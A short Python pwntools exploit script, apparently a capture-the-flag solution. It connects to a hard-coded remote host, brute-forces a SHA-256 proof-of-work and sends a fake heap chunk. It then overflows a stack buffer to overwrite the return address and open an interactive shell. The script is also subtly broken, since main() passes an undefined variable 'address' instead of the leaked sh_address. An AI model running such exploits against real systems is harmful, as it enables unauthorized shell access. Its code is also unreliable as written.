#!/usr/bin/python3

from pwn import *
import string
import hashlib
from itertools import permutations


io = remote("185.172.165.118", 2929)

def find_hash():
        hash = io.recvline().decode().split("=")[1].strip()
        foo = [i for i in permutations(string.ascii_lowercase, 4)]
        for word in foo:
                result = hashlib.sha256("".join(word).encode()).hexdigest()
                if hash == result[-6:]:
                        log.info("".join(word))
                        return "".join(word)

def fake_chunk():
        """ create the fake chunk """
        payload = p64(0x0) #prev_size
        payload += p64(0x41) #chunk_size
        payload += b"A"*16 # fd and bk (user data)
        return payload

def pop_shell(address):
        """ overflow into the saved ret address """
        payload = b'A'*88
        payload += p64(address)
        return payload

def main():
        io.sendline(find_hash())
        io.recvline()
        sh_address = int(io.recvline().strip(), 16)
        log.info(f"sh_address: {hex(sh_address)}")
        io.sendline(fake_chunk())
        io.sendline(pop_shell(address))
        io.interactive()


if __name__ == "__main__":
        main()
